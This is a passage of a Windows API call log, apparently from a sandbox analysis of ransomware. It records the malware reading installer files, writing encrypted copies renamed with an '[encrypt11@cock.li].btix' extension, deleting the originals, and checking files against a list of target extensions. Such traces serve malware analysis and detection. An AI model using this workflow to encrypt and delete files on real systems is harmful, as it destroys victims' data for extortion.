hTemplateFile=0x0) returned 0x320 [0043.831] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=3859) returned 1 [0043.831] CloseHandle (hObject=0x320) returned 1 [0043.831] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf")) returned 0x80 [0043.831] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0043.831] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0043.831] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0043.831] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0043.831] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0043.832] GetLastError () returned 0x0 [0043.832] ReadFile (in: hFile=0x320, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0xf13, lpOverlapped=0x0) returned 1 [0043.854] WriteFile (in: hFile=0x328, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xf20, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xf20, lpOverlapped=0x0) returned 1 [0043.855] ReadFile (in: hFile=0x320, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0043.855] WriteFile (in: hFile=0x328, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xe4, lpOverlapped=0x0) returned 1 [0043.855] SetEndOfFile (hFile=0x328) returned 1 [0043.855] CloseHandle (hObject=0x328) returned 1 [0043.856] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0043.856] SetEndOfFile (hFile=0x320) returned 1 [0043.856] CloseHandle (hObject=0x320) returned 1 [0043.856] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0043.857] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf")) returned 1 [0043.857] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0043.857] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0043.857] lstrlenW (lpString=".doc") returned 4 [0043.857] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0043.857] lstrlenW (lpString=".docx") returned 5 [0043.857] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0043.857] lstrlenW (lpString=".pdf") returned 4 [0043.857] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0043.857] lstrlenW (lpString=".xls") returned 4 [0043.857] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0043.857] lstrlenW (lpString=".xlsx") returned 5 [0043.857] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0043.857] lstrlenW (lpString=".ppt") returned 4 [0043.857] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0043.857] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0043.857] lstrlenW (lpString=".zip") returned 4 [0043.857] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0043.858] lstrlenW (lpString=".rar") returned 4 [0043.858] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0043.858] lstrlenW (lpString=".bz2") returned 4 [0043.858] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0043.858] lstrlenW (lpString=".7z") returned 3 [0043.858] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0043.858] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0043.858] lstrlenW (lpString=".dbf") returned 4 [0043.858] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0043.858] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0043.858] lstrlenW (lpString=".1cd") returned 4 [0043.858] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0043.858] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0043.858] lstrlenW (lpString=".jpg") returned 4 [0043.858] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0043.858] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0043.858] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0043.858] lstrlenW (lpString=".doc") returned 4 [0043.858] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0043.858] lstrlenW (lpString=".docx") returned 5 [0043.858] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0043.858] lstrlenW (lpString=".pdf") returned 4 [0043.858] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0043.858] lstrlenW (lpString=".xls") returned 4 [0043.858] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0043.858] lstrlenW (lpString=".xlsx") returned 5 [0043.858] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0043.858] lstrlenW (lpString=".ppt") returned 4 [0043.858] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0043.858] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0043.858] lstrlenW (lpString=".zip") returned 4 [0043.859] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0043.859] lstrlenW (lpString=".rar") returned 4 [0043.859] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0043.859] lstrlenW (lpString=".bz2") returned 4 [0043.859] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0043.859] lstrlenW (lpString=".7z") returned 3 [0043.859] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0043.859] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0043.859] lstrlenW (lpString=".dbf") returned 4 [0043.859] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0043.859] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0043.859] lstrlenW (lpString=".1cd") returned 4 [0043.859] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0043.859] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0043.859] lstrlenW (lpString=".jpg") returned 4 [0043.859] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0043.859] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0043.859] lstrlenW (lpString="LocalizedData.xml") returned 17 [0043.859] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0043.859] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=60684) returned 1 [0043.860] CloseHandle (hObject=0x320) returned 1 [0043.860] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml")) returned 0x80 [0043.860] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0043.860] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0043.860] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0043.860] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0043.860] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0043.860] GetLastError () returned 0x0 [0043.860] ReadFile (in: hFile=0x320, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0xed0c, lpOverlapped=0x0) returned 1 [0043.938] WriteFile (in: hFile=0x328, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xed10, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xed10, lpOverlapped=0x0) returned 1 [0043.939] ReadFile (in: hFile=0x320, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0043.940] WriteFile (in: hFile=0x328, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xf6, lpOverlapped=0x0) returned 1 [0043.940] SetEndOfFile (hFile=0x328) returned 1 [0043.940] CloseHandle (hObject=0x328) returned 1 [0043.941] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0043.941] SetEndOfFile (hFile=0x320) returned 1 [0043.942] CloseHandle (hObject=0x320) returned 1 [0043.942] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0043.942] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml")) returned 1 [0043.943] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0043.943] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0043.943] lstrlenW (lpString=".doc") returned 4 [0043.943] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.943] lstrlenW (lpString=".docx") returned 5 [0043.943] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0043.943] lstrlenW (lpString=".pdf") returned 4 [0043.943] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.943] lstrlenW (lpString=".xls") returned 4 [0043.943] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.943] lstrlenW (lpString=".xlsx") returned 5 [0043.943] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0043.943] lstrlenW (lpString=".ppt") returned 4 [0043.943] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.943] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0043.943] lstrlenW (lpString=".zip") returned 4 [0043.943] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.943] lstrlenW (lpString=".rar") returned 4 [0043.943] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.943] lstrlenW (lpString=".bz2") returned 4 [0043.943] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.943] lstrlenW (lpString=".7z") returned 3 [0043.943] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.943] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0043.943] lstrlenW (lpString=".dbf") returned 4 [0043.943] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.943] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0043.943] lstrlenW (lpString=".1cd") returned 4 [0043.944] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.944] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0043.944] lstrlenW (lpString=".jpg") returned 4 [0043.944] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.944] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0043.944] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0043.944] lstrlenW (lpString=".doc") returned 4 [0043.944] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.944] lstrlenW (lpString=".docx") returned 5 [0043.944] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0043.944] lstrlenW (lpString=".pdf") returned 4 [0043.944] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.944] lstrlenW (lpString=".xls") returned 4 [0043.944] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.944] lstrlenW (lpString=".xlsx") returned 5 [0043.944] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0043.944] lstrlenW (lpString=".ppt") returned 4 [0043.944] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.944] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0043.944] lstrlenW (lpString=".zip") returned 4 [0043.944] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.944] lstrlenW (lpString=".rar") returned 4 [0043.944] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.944] lstrlenW (lpString=".bz2") returned 4 [0043.944] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.944] lstrlenW (lpString=".7z") returned 3 [0043.944] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.944] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0043.944] lstrlenW (lpString=".dbf") returned 4 [0043.944] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.944] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0043.945] lstrlenW (lpString=".1cd") returned 4 [0043.945] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.945] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0043.945] lstrlenW (lpString=".jpg") returned 4 [0043.945] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.945] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0043.945] lstrlenW (lpString="LocalizedData.xml") returned 17 [0043.945] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0043.945] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=80254) returned 1 [0043.945] CloseHandle (hObject=0x320) returned 1 [0043.945] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml")) returned 0x80 [0043.945] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0043.945] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0043.945] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0043.945] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0043.946] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0043.946] GetLastError () returned 0x0 [0043.946] ReadFile (in: hFile=0x320, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x1397e, lpOverlapped=0x0) returned 1 [0043.972] WriteFile (in: hFile=0x328, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x13980, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x13980, lpOverlapped=0x0) returned 1 [0043.974] ReadFile (in: hFile=0x320, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0043.974] WriteFile (in: hFile=0x328, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xf6, lpOverlapped=0x0) returned 1 [0043.975] SetEndOfFile (hFile=0x328) returned 1 [0043.975] CloseHandle (hObject=0x328) returned 1 [0043.976] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0043.977] SetEndOfFile (hFile=0x320) returned 1 [0043.978] CloseHandle (hObject=0x320) returned 1 [0043.978] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0043.978] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml")) returned 1 [0043.978] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0043.978] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0043.978] lstrlenW (lpString=".doc") returned 4 [0043.978] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.978] lstrlenW (lpString=".docx") returned 5 [0043.978] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0043.978] lstrlenW (lpString=".pdf") returned 4 [0043.978] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.978] lstrlenW (lpString=".xls") returned 4 [0043.978] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.978] lstrlenW (lpString=".xlsx") returned 5 [0043.978] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0043.979] lstrlenW (lpString=".ppt") returned 4 [0043.979] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.979] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0043.979] lstrlenW (lpString=".zip") returned 4 [0043.979] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.979] lstrlenW (lpString=".rar") returned 4 [0043.979] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.979] lstrlenW (lpString=".bz2") returned 4 [0043.979] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.979] lstrlenW (lpString=".7z") returned 3 [0043.979] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.979] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0043.979] lstrlenW (lpString=".dbf") returned 4 [0043.979] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.979] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0043.979] lstrlenW (lpString=".1cd") returned 4 [0043.979] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.979] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0043.979] lstrlenW (lpString=".jpg") returned 4 [0043.979] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.979] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0043.979] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0043.979] lstrlenW (lpString=".doc") returned 4 [0043.979] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.979] lstrlenW (lpString=".docx") returned 5 [0043.979] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0043.979] lstrlenW (lpString=".pdf") returned 4 [0043.979] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.979] lstrlenW (lpString=".xls") returned 4 [0043.979] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.979] lstrlenW (lpString=".xlsx") returned 5 [0043.980] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0043.980] lstrlenW (lpString=".ppt") returned 4 [0043.980] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.980] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0043.980] lstrlenW (lpString=".zip") returned 4 [0043.980] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.980] lstrlenW (lpString=".rar") returned 4 [0043.980] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.980] lstrlenW (lpString=".bz2") returned 4 [0043.980] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.980] lstrlenW (lpString=".7z") returned 3 [0043.980] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.980] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0043.980] lstrlenW (lpString=".dbf") returned 4 [0043.980] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.980] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0043.980] lstrlenW (lpString=".1cd") returned 4 [0043.980] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.980] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned 44 [0043.980] lstrlenW (lpString=".jpg") returned 4 [0043.980] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.980] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0043.980] lstrlenW (lpString="LocalizedData.xml") returned 17 [0043.980] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0043.981] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=60816) returned 1 [0043.981] CloseHandle (hObject=0x320) returned 1 [0043.981] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml")) returned 0x80 [0043.981] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0043.981] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0043.981] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0043.981] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0043.981] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0043.981] GetLastError () returned 0x0 [0043.981] ReadFile (in: hFile=0x320, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0xed90, lpOverlapped=0x0) returned 1 [0044.037] WriteFile (in: hFile=0x328, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xeda0, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xeda0, lpOverlapped=0x0) returned 1 [0044.038] ReadFile (in: hFile=0x320, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0044.038] WriteFile (in: hFile=0x328, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xf6, lpOverlapped=0x0) returned 1 [0044.039] SetEndOfFile (hFile=0x328) returned 1 [0044.039] CloseHandle (hObject=0x328) returned 1 [0044.040] 